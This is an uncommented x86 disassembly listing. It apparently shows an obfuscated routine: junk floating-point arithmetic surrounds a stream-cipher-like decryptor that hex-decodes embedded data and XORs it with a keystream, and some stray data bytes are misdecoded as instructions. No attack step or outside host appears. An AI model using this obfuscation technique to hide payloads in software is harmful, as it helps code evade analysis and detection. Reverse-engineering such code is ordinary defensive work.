movsd xmm0, qword [0xa719a0]
comisd xmm0, xmmword [ebp - 0x45f4]
jbe 0x43a5dc
movsd xmm0, qword [0xa71620]
mulsd xmm0, qword [ebp - 0x45f4]
mulsd xmm0, qword [ebp - 0x45f4]
movsd xmm1, qword [ebp - 0x45f4]
mulsd xmm1, qword [ebp - 0x45f4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa71370]
mulsd xmm1, qword [ebp - 0x45f4]
mulsd xmm1, qword [ebp - 0x45f4]
addsd xmm1, qword [0xa714a8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x474c]
movsd qword [ebp - 0x474c], xmm0
movsd xmm0, qword [ebp - 0x474c]
comisd xmm0, xmmword [0xa71578]
jbe 0x43a5d7
movsd xmm0, qword [0xa712b8]
mulsd xmm0, qword [ebp - 0x45f4]
movsd xmm1, qword [ebp - 0x474c]
subsd xmm1, xmm0
movsd qword [ebp - 0x474c], xmm1
jmp 0x43a513
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x474c]
jbe 0x43a649
inc esi
cdq
dec eax
cdq
dec eax
pop dword [esi - 0x6f]
inc edx
nop
inc ebx
cwde
cmp eax, 0x44903e92
invalid
mov dword [ebp - 0x3188], 0x43a5e9
mov dword [ebp - 0x318c], 0x43a633
mov eax, dword [ebp - 0x3188]
mov dword [ebp - 0x3a2c], eax
mov ecx, dword [ebp - 0x318c]
mov dword [ebp - 0x6398], ecx
mov byte [ebp - 0x3fec], 0x15
mov dword [ebp - 0x3834], 0
jmp 0x43a697
mov edx, dword [ebp - 0x3834]
add edx, 1
mov dword [ebp - 0x3834], edx
cmp dword [ebp - 0x3834], 0x100
jae 0x43a6b8
mov eax, dword [ebp - 0x3834]
mov cl, byte [ebp - 0x3834]
mov byte [ebp + eax - 0x57c4], cl
jmp 0x43a688
mov dword [ebp - 0x44d4], 0
mov byte [ebp - 0x335d], 0
mov dword [ebp - 0x3834], 0xff
jmp 0x43a6e4
mov edx, dword [ebp - 0x3834]
sub edx, 1
mov dword [ebp - 0x3834], edx
cmp dword [ebp - 0x3834], 0
jbe 0x43a954
mov dword [ebp - 0x4b78], 0
mov dword [ebp - 0x4960], 1
mov eax, dword [ebp - 0x4960]
cmp eax, dword [ebp - 0x3834]
jae 0x43a725
mov ecx, dword [ebp - 0x4960]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x4960], edx
jmp 0x43a705
mov eax, dword [ebp - 0x44d4]
mov dword [ebp - 0x50f8], eax
cmp dword [ebp - 0x50f8], 3
ja case.default.0x43a744
mov ecx, dword [ebp - 0x50f8]
jmp dword [ecx*4 + 0x46aff8]
movzx edx, byte [ebp - 0x335d]
movzx ebx, byte [ebp + edx - 0x57c4]
movsd xmm0, qword [ebp - 0x474c]
call fcn.009f5ff0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335d], bl
jmp 0x43a82d
movzx eax, byte [ebp - 0x335d]
movzx ebx, byte [ebp + eax - 0x57c4]
movsd xmm0, qword [ebp - 0x474c]
call fcn.009f5ff0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335d], bl
jmp 0x43a82d
movzx ecx, byte [ebp - 0x335d]
movzx ebx, byte [ebp + ecx - 0x57c4]
movsd xmm0, qword [ebp - 0x474c]
call fcn.009f5ff0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335d], bl
jmp 0x43a82d
movzx edx, byte [ebp - 0x335d]
movzx ebx, byte [ebp + edx - 0x57c4]
movsd xmm0, qword [ebp - 0x474c]
call fcn.009f5ff0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x335d], bl
jmp 0x43a82d
movzx eax, byte [ebp - 0x335d]
movzx ecx, byte [ebp + eax - 0x57c4]
mov edx, dword [ebp - 0x6398]
add edx, dword [ebp - 0x44d4]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x335d], cl
mov ecx, dword [ebp - 0x44d4]
add ecx, 1
mov dword [ebp - 0x44d4], ecx
movzx edx, byte [ebp - 0x3fec]
cmp dword [ebp - 0x44d4], edx
jb 0x43a86b
mov dword [ebp - 0x44d4], 0
movzx eax, byte [ebp - 0x3fec]
movzx ecx, byte [ebp - 0x335d]
add ecx, eax
mov byte [ebp - 0x335d], cl
movzx edx, byte [ebp - 0x335d]
and edx, dword [ebp - 0x4960]
mov dword [ebp - 0x4324], edx
mov eax, dword [ebp - 0x4b78]
add eax, 1
mov dword [ebp - 0x4b78], eax
cmp dword [ebp - 0x4b78], 0xb
jbe 0x43a8aa
mov eax, dword [ebp - 0x4324]
xor edx, edx
div dword [ebp - 0x3834]
mov dword [ebp - 0x4324], edx
mov ecx, dword [ebp - 0x4324]
cmp ecx, dword [ebp - 0x3834]
ja 0x43a725
mov edx, dword [ebp - 0x3834]
cmp edx, dword [ebp - 0x4324]
je 0x43a94f
mov eax, dword [ebp - 0x4324]
movzx ecx, byte [ebp + eax - 0x57c4]
mov edx, dword [ebp - 0x3834]
movzx eax, byte [ebp + edx - 0x57c4]
xor eax, ecx
mov ecx, dword [ebp - 0x3834]
mov byte [ebp + ecx - 0x57c4], al
mov edx, dword [ebp - 0x3834]
movzx eax, byte [ebp + edx - 0x57c4]
mov ecx, dword [ebp - 0x4324]
movzx edx, byte [ebp + ecx - 0x57c4]
xor edx, eax
mov eax, dword [ebp - 0x4324]
mov byte [ebp + eax - 0x57c4], dl
mov ecx, dword [ebp - 0x4324]
movzx edx, byte [ebp + ecx - 0x57c4]
mov eax, dword [ebp - 0x3834]
movzx ecx, byte [ebp + eax - 0x57c4]
xor ecx, edx
mov edx, dword [ebp - 0x3834]
mov byte [ebp + edx - 0x57c4], cl
jmp 0x43a6d5
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x3279], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x3287], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x32d6], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x3288], cl
movzx edx, byte [ebp - 0x335d]
mov al, byte [ebp + edx - 0x57c4]
mov byte [ebp - 0x32ac], al
mov dword [ebp - 0x50f4], 0x4a
cmp dword [ebp - 0x50f4], 2
jle 0x43c4bd
mov ecx, dword [ebp - 0x50f4]
and ecx, 1
jne 0x43c4bd
mov dword [ebp - 0x3394], 0
mov dword [ebp - 0x3608], 0
mov edx, dword [ebp - 0x3608]
add edx, 1
mov dword [ebp - 0x3608], edx
mov dword [ebp - 0x3a30], 0
mov eax, dword [ebp - 0x3394]
shl eax, 1
mov dword [ebp - 0x3a30], eax
mov dword [ebp - 0x3898], 0
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a30]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x3898]
mov dword [ebp - 0x3898], edx
mov dword [ebp - 0x389c], 0
mov eax, dword [ebp - 0x389c]
add eax, 0x3a
mov dword [ebp - 0x389c], eax
mov dword [ebp - 0x3a28], 0
mov ecx, dword [ebp - 0x3394]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3a28], edx
mov dword [ebp - 0x38a0], 0
mov eax, dword [ebp - 0x3a2c]
add eax, dword [ebp - 0x3a28]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x38a0]
mov dword [ebp - 0x38a0], ecx
mov dword [ebp - 0x38a4], 0
mov edx, dword [ebp - 0x38a4]
add edx, 0x8e
mov dword [ebp - 0x38a4], edx
mov dword [ebp - 0x38a8], 0
mov eax, dword [ebp - 0x3898]
sub eax, dword [ebp - 0x389c]
add eax, dword [ebp - 0x38a8]
mov dword [ebp - 0x38a8], eax
mov dword [ebp - 0x38ac], 0
mov ecx, dword [ebp - 0x38a0]
sub ecx, dword [ebp - 0x38a4]
add ecx, dword [ebp - 0x38ac]
mov dword [ebp - 0x38ac], ecx
mov dword [ebp - 0x39dc], 0
mov edx, dword [ebp - 0x38a8]
shl edx, 4
mov dword [ebp - 0x39dc], edx
mov dword [ebp - 0x3aac], 0
mov eax, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], eax
mov dword [ebp - 0x3aa8], 0
mov ecx, dword [ebp - 0x39dc]
or ecx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], ecx
mov byte [ebp - 0x32d7], 0
mov dl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], dl
mov byte [ebp - 0x32ea], 0
movzx eax, byte [ebp - 0x32ac]
mov cl, byte [ebp + eax - 0x57c4]
mov byte [ebp - 0x32ea], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp - 0x3287]
add ecx, eax
mov byte [ebp - 0x3287], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3288]
movzx ecx, byte [ebp - 0x3287]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp - 0x3288]
mov dl, byte [ebp + eax - 0x57c4]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x3279]
mov cl, byte [ebp - 0x32ea]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x32ea]
movzx eax, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp - 0x32d6]
add ecx, eax
mov byte [ebp - 0x32d6], cl
movzx edx, byte [ebp - 0x32d7]
movzx eax, byte [ebp - 0x3287]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx eax, byte [ebp - 0x3279]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57c4]
xor edx, ecx
movzx eax, byte [ebp - 0x3288]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx eax, byte [ebp - 0x32ac]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
movzx eax, byte [ebp - 0x32d6]
movzx eax, byte [ebp + eax - 0x57c4]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp + ecx - 0x57c4]
xor edx, eax
mov byte [ebp - 0x3288], dl
mov cl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], cl
mov dl, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], dl
cmp dword [ebp - 0x3394], 0
jle 0x43ace3
movsx ax, byte [ebp - 0x3325]
mov ecx, dword [ebp - 0x3394]
mov word [ebp + ecx*2 - 0x306], ax
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x3394], edx
mov eax, dword [ebp - 0x3608]
add eax, 1
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x3394]
shl ecx, 1
mov dword [ebp - 0x3a30], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a30]
movzx eax, byte [edx]
mov dword [ebp - 0x3898], eax
mov dword [ebp - 0x389c], 0x3a
mov ecx, dword [ebp - 0x3394]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x3a28], edx
mov eax, dword [ebp - 0x3a2c]
add eax, dword [ebp - 0x3a28]
movzx ecx, byte [eax]
mov dword [ebp - 0x38a0], ecx
mov dword [ebp - 0x38a4], 0x8e
mov edx, dword [ebp - 0x3898]
sub edx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], edx
mov eax, dword [ebp - 0x38a0]
sub eax, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], eax
mov ecx, dword [ebp - 0x38a8]
shl ecx, 4
mov dword [ebp - 0x39dc], ecx
mov edx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], edx
mov eax, dword [ebp - 0x39dc]
or eax, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], eax
mov cl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], cl
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + edx - 0x57c4]
mov byte [ebp - 0x32ea], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp - 0x3287]
add eax, edx
mov byte [ebp - 0x3287], al
mov cl, byte [ebp - 0x3279]
add cl, 1
mov byte [ebp - 0x3279], cl
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp - 0x32ac]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3288]
movzx eax, byte [ebp - 0x3287]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp - 0x3288]
mov cl, byte [ebp + edx - 0x57c4]
mov byte [ebp + eax - 0x57c4], cl
movzx edx, byte [ebp - 0x3279]
mov al, byte [ebp - 0x32ea]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x32ea]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx eax, byte [ebp - 0x32d6]
add eax, edx
mov byte [ebp - 0x32d6], al
movzx ecx, byte [ebp - 0x32d7]
movzx edx, byte [ebp - 0x3287]
movzx eax, byte [ebp + edx - 0x57c4]
movzx edx, byte [ebp - 0x3279]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57c4]
xor ecx, eax
movzx edx, byte [ebp - 0x3288]
movzx eax, byte [ebp + edx - 0x57c4]
movzx edx, byte [ebp - 0x32ac]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
movzx edx, byte [ebp - 0x32d6]
movzx edx, byte [ebp + edx - 0x57c4]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp + eax - 0x57c4]
xor ecx, edx
mov byte [ebp - 0x3288], cl
mov al, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], al
mov cl, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], cl
cmp dword [ebp - 0x3394], 0
jle 0x43af3c
movsx dx, byte [ebp - 0x3325]
mov eax, dword [ebp - 0x3394]
mov word [ebp + eax*2 - 0x306], dx
mov ecx, dword [ebp - 0x3608]
add ecx, 0xf
mov dword [ebp - 0x3608], ecx
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x4b7c], edx
jmp 0x43af6b
mov eax, dword [ebp - 0x4b7c]
add eax, 1
mov dword [ebp - 0x4b7c], eax
mov ecx, dword [ebp - 0x4b7c]
cmp ecx, dword [ebp - 0x3608]
jge 0x43b876
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x3394], edx
mov eax, dword [ebp - 0x3394]
shl eax, 1
mov dword [ebp - 0x3a30], eax
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a30]
movzx edx, byte [ecx]
mov dword [ebp - 0x3898], edx
mov dword [ebp - 0x389c], 0x3a
mov eax, dword [ebp - 0x3394]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a28], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
mov dword [ebp - 0x38a0], eax
mov dword [ebp - 0x38a4], 0x8e
mov ecx, dword [ebp - 0x3898]
sub ecx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], ecx
mov edx, dword [ebp - 0x38a0]
sub edx, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], edx
mov eax, dword [ebp - 0x38a8]
shl eax, 4
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x39dc]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32d7], al
movzx ecx, byte [ebp - 0x32ac]
mov dl, byte [ebp + ecx - 0x57c4]
mov byte [ebp - 0x32ea], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x3287]
add edx, ecx
mov byte [ebp - 0x3287], dl
mov al, byte [ebp - 0x3279]
add al, 1
mov byte [ebp - 0x3279], al
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp - 0x32ac]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp - 0x3287]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
movzx edx, byte [ebp - 0x3288]
mov al, byte [ebp + ecx - 0x57c4]
mov byte [ebp + edx - 0x57c4], al
movzx ecx, byte [ebp - 0x3279]
mov dl, byte [ebp - 0x32ea]
mov byte [ebp + ecx - 0x57c4], dl
movzx eax, byte [ebp - 0x32ea]
movzx ecx, byte [ebp + eax - 0x57c4]
movzx edx, byte [ebp - 0x32d6]
add edx, ecx
mov byte [ebp - 0x32d6], dl
movzx eax, byte [ebp - 0x32d7]
movzx ecx, byte [ebp - 0x3287]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x3279]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
xor eax, edx
movzx ecx, byte [ebp - 0x3288]
movzx edx, byte [ebp + ecx - 0x57c4]
movzx ecx, byte [ebp - 0x32ac]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
movzx ecx, byte [ebp - 0x32d6]
movzx ecx, byte [ebp + ecx - 0x57c4]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x57c4]
movzx ecx, byte [ebp + edx - 0x57c4]
xor eax, ecx
mov byte [ebp - 0x3288], al
mov dl, byte [ebp - 0x32d7]
mov byte [ebp - 0x32ac], dl
movsd xmm0, qword [0xa71f98]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [0xa71f38]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [0xa71e90]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [0xa71d28]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [0xa71b98]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [0xa71a08]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [0xa71788]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3f00]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x4380]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [ebp - 0x3968]
subsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3f00]
subsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3c24]
mulsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3c90]
mulsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3c24]
comisd xmm0, xmmword [ebp - 0x399c]
jbe 0x43b384
movsd xmm0, qword [ebp - 0x3c90]
addsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3c24]
subsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3c24]
subsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3c24]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3c90]
addsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3c90]
addsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3d70]
mulsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
mov al, byte [ebp - 0x3288]
mov byte [ebp - 0x3325], al
jmp 0x43b852
movsd xmm0, qword [ebp - 0x3c24]
subsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x4380]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [ebp - 0x399c]
subsd xmm0, qword [ebp - 0x4380]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3d70]
mulsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3c90]
subsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3968]
mulsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x399c]
subsd xmm0, qword [ebp - 0x4380]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3f00]
addsd xmm0, qword [ebp - 0x3c24]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x3968]
mulsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3968]
mulsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3c90]
divsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3968]
divsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3c24]
divsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3f00]
comisd xmm0, xmmword [ebp - 0x3c24]
jbe 0x43b7aa
movsd xmm0, qword [ebp - 0x399c]
addsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3c24]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x399c]
subsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3968]
mulsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3968]
mulsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3c24]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3c90]
subsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x4380]
mulsd xmm0, qword [ebp - 0x3c24]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [ebp - 0x399c]
divsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3c90]
comisd xmm0, xmmword [ebp - 0x399c]
jbe 0x43b6fd
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3d70]
mulsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x3c24]
mulsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3f00]
addsd xmm0, qword [ebp - 0x4380]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x399c]
subsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3c24]
subsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
jmp 0x43b7a5
movsd xmm0, qword [ebp - 0x3d70]
addsd xmm0, qword [ebp - 0x3c90]
movsd qword [ebp - 0x3d70], xmm0
movsd xmm0, qword [ebp - 0x4380]
addsd xmm0, qword [ebp - 0x3c24]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [ebp - 0x3c24]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3968]
addsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
movsd xmm0, qword [ebp - 0x3c90]
addsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x3968]
divsd xmm0, qword [ebp - 0x399c]
movsd qword [ebp - 0x3968], xmm0
jmp 0x43b852
movsd xmm0, qword [ebp - 0x4380]
subsd xmm0, qword [ebp - 0x3c24]
movsd qword [ebp - 0x4380], xmm0
movsd xmm0, qword [ebp - 0x3f00]
addsd xmm0, qword [ebp - 0x4380]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x3f00]
addsd xmm0, qword [ebp - 0x4380]
movsd qword [ebp - 0x3f00], xmm0
movsd xmm0, qword [ebp - 0x3c24]
addsd xmm0, qword [ebp - 0x3d70]
movsd qword [ebp - 0x3c24], xmm0
movsd xmm0, qword [ebp - 0x399c]
subsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
movsd xmm0, qword [ebp - 0x3c90]
addsd xmm0, qword [ebp - 0x3968]
movsd qword [ebp - 0x3c90], xmm0
movsd xmm0, qword [ebp - 0x399c]
addsd xmm0, qword [ebp - 0x3f00]
movsd qword [ebp - 0x399c], xmm0
cmp dword [ebp - 0x3394], 0
jle 0x43b871
movsx cx, byte [ebp - 0x3325]
mov edx, dword [ebp - 0x3394]
mov word [ebp + edx*2 - 0x306], cx
jmp 0x43af5c
mov eax, dword [ebp - 0x3608]
add eax, 1
mov dword [ebp - 0x3608], eax
mov ecx, dword [ebp - 0x3608]
add ecx, 0x10
mov dword [ebp - 0x3608], ecx
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x4b80], edx
jmp 0x43b8b4
mov eax, dword [ebp - 0x4b80]
add eax, 1
mov dword [ebp - 0x4b80], eax
mov ecx, dword [ebp - 0x4b80]
cmp ecx, dword [ebp - 0x3608]
jge 0x43bb16
mov edx, dword [ebp - 0x3394]
add edx, 1
mov dword [ebp - 0x3394], edx
mov eax, dword [ebp - 0x3394]
shl eax, 1
mov dword [ebp - 0x3a30], eax
mov ecx, dword [ebp - 0x3a2c]
add ecx, dword [ebp - 0x3a30]
movzx edx, byte [ecx]
mov dword [ebp - 0x3898], edx
mov dword [ebp - 0x389c], 0x3a
mov eax, dword [ebp - 0x3394]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x3a28], ecx
mov edx, dword [ebp - 0x3a2c]
add edx, dword [ebp - 0x3a28]
movzx eax, byte [edx]
mov dword [ebp - 0x38a0], eax
mov dword [ebp - 0x38a4], 0x8e
mov ecx, dword [ebp - 0x3898]
sub ecx, dword [ebp - 0x389c]
mov dword [ebp - 0x38a8], ecx
mov edx, dword [ebp - 0x38a0]
sub edx, dword [ebp - 0x38a4]
mov dword [ebp - 0x38ac], edx
mov eax, dword [ebp - 0x38a8]
shl eax, 4
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x38ac]
mov dword [ebp - 0x3aac], ecx
mov edx, dword [ebp - 0x39dc]
or edx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], edx
mov al, byte [ebp - 0x3aa8]
